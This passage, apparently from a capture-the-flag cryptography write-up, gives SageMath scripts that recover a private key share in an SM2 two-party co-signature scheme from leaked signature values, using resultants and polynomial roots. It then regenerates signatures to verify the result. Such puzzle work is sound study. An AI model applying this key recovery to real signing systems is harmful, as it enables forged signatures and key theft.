"8a3e40da9d3423f27be30eebb2e4e11999e565be0def197fe1bcf4f6b724b471" r = "8A6BB033033E79683E81FE36D6394262D451A3DB9D1A0C489D51543D22E67BC4" s2 = "B54A6668F644EC08D925552D45F66E348762B460693E7A68CBB0FDF38327DB45" s3 = "B50FAE013594F79192898FF7FC0A84D931B1EC56EF9174159023ACF1C708180D" s = "cb524f49515c9a7387210ddcdbf1f32aad1c8806f01a362c62a5d6a5466da158" tt = [e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3,s] e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3,s = [int(i,16) for i in tt] P1 = E(p1x,p1y) Q1 = E(q1x,q1y) ################################################################################# solve d1 PR.<k1,d1> = PolynomialRing(Zmod(n)) f1 = (s1*k1 - e)*d1 - r1 f2 = d1*k1*s2 + d1*s3 - r - s res = f1.sylvester_matrix(f2, k1).det().univariate_polynomial().monic().roots() d1 = int(res[1][0]) print(d1*P1 == G) 或者 from sage.all import * a = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC b = 0x28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93 p = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF n = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123 x = 0x32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7 y = 0xBC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0 E = EllipticCurve(GF(p), [a, b]) G = E(x, y) s = 0xcb524f49515c9a7387210ddcdbf1f32aad1c8806f01a362c62a5d6a5466da158 r = 0x8A6BB033033E79683E81FE36D6394262D451A3DB9D1A0C489D51543D22E67BC4 s2 = 0xB54A6668F644EC08D925552D45F66E348762B460693E7A68CBB0FDF38327DB45 s3 = 0xB50FAE013594F79192898FF7FC0A84D931B1EC56EF9174159023ACF1C708180D e = 0xeaf0adee014bd35a12180bbc99292e3acf895203aa97f8dbbb760da04da844f6 r1 = 0x125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26 s1 = 0x47baaef61c7a3c4c239fc2634ec25a2059d937026c6e0b72df1463fbba5b3a05 d2 = ZZ((s3 - s2) * inverse_mod(r, n) % n) ''' s1*k1-e = d1^(-1) * r1 r1 = d1*(s1*k1-e) r1 = d1*k1 * s1 - d1*e s = d1*k1*s2 + d1*s3 -r s*s1 = d1*k1*s1 * s2 + d1*s3*s1 - r*s1 s*s1 = (r1+d1*e)*s2 + d1 * s3*s1 - r*s1 ''' R = PolynomialRing(GF(n), 'x') x = R.gens()[0] f = (r1 + x*e)*s2 + x*s3*s1 - r*s1 - s*s1 ans = f.roots() d1 = 90919127323695568397119051689582862352296983775157729258730148362152821090405 d2 = 75133153874808200698750375741973887146735262423059242244009334005845482114914 e = 0x9e810778a6b177c6aa1799365977adfbeef605c19b5ea917527d1541c1339019 k1 = 233 P = inverse_mod(d1, n) * G Q = k1*G r1 = ZZ(Q.xy()[0]) s1 = ZZ(inverse_mod(k1, n) * (e + inverse_mod(d1, n) * r1) % n) k2 = 17 k3 = 71 R = k2*G + k3*Q x1 = ZZ(R.xy()[0]) r = ZZ((e + x1) % n) s2 = ZZ(d2 * k3 % n) s3 = ZZ(d2 * (r+k2) % n) s = (d1*k1*s2 + d1*s3 - r) % n print(s) print(hex(r)[2:]) print(hex(s)[2:]) 来源: https://tangcuxiaojikuai.xyz/post/6452f9a0.html